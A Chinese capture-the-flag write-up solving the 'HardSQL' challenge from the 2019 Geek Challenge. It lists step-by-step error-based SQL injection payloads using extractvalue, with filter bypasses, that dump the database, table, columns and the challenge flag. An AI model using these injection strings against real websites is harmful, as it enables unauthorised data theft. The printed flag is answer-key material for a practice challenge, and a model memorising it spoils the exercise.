[极客大挑战 2019]HardSQL wp

[极客大挑战 2019]HardSQL wp


这道题考察的主要是sql注入的报错注入攻击

首先我们打开页面,是这样的


在这里插入图片描述

依旧试一下万能密码看看


在这里插入图片描述

可以从url看出,sql注入是用的get方式

继续添加单引号发现报错


在这里插入图片描述

常规查表名,没有反应,试一下双写


在这里插入图片描述

依旧没有反应,猜测应该是报错注入,简单测试,发现=,and,空格等都被过滤了,且双写无法绕过,
=可以用like代替,and用^代替,空格用()代替

继续我们查数据库,注入

1
?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(database()))))%23

在这里插入图片描述
发现updatexml()函数不能用,我们可以用**extractvalue()代替updatexml()**注入

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

在这里插入图片描述
爆出数据库geek,继续我们查表名,注入

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

在这里插入图片描述
爆出表名H4rDsq1,我们继续查字段名,注入

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

在这里插入图片描述
得到字段名id,username,password,接着我们查password里面的数据,注入

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(0x23,password)))from(geek.H4rDsq1))))%23

在这里插入图片描述
得到flag flag{d47eea54-c6a4-4932-b47a-61,但是仔细看,发现falg不对劲,只有一半,我们用right()函数再继续查,注入

1
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(0x23,right(password,30))))from(geek.H4rDsq1))))%23

在这里插入图片描述

得到另一半flag4-c6a4-4932-b47a-61153560fead}
最后两半flag拼起来就是正确的flag啦,5u,着实不容易。
最后总结一下,从最开始的万能密码,到常规的union注入,再到双写绕过,到今天的报错注入,sql注入的难度在一步步增加,但是union注入是所有注入类型的基础,完全掌握union注入后,其他类型都只不过是在其基础上增加一些花样而已啦
感谢勤劳的自己heyheyhey~